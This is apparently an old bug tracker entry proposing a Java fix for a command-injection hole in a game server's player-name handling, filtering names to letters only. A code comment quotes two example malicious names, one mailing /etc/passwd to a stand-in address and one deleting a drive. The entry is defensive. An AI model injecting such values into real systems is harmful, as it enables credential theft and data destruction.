Menu

#1 Player File Vunerability

Crash_Bug
open
nobody
Source Code (1)
5
2002-01-03
2002-01-03
No
      // Parse entered name
        case STATE\_PARSE\_NAME:
        \{
            // Make sure name

contains only letters for fantasy names and
// to prevent
malicious input (such as the name
// "| mail -x
hacker@spoof < /etc/passwd" or
// "; deltree C:\;
mkdir C:\Hahaha")
char[] commandArray =
command.toCharArray();
command = "";
for (int i=0; i <
commandArray.length; i++) {
if
(Character.isLetter(commandArray[i])) {

command += commandArray\[i\];
                \}
            \}

// This should fix the problem. An alternative method
would be to maintain a serialized look-up table where
the server generates unique id's for player files.

Discussion


Log in to post a comment.

Want the latest updates on software, tech news, and AI?
Get latest updates about software, tech news, and AI from SourceForge directly in your inbox once a month.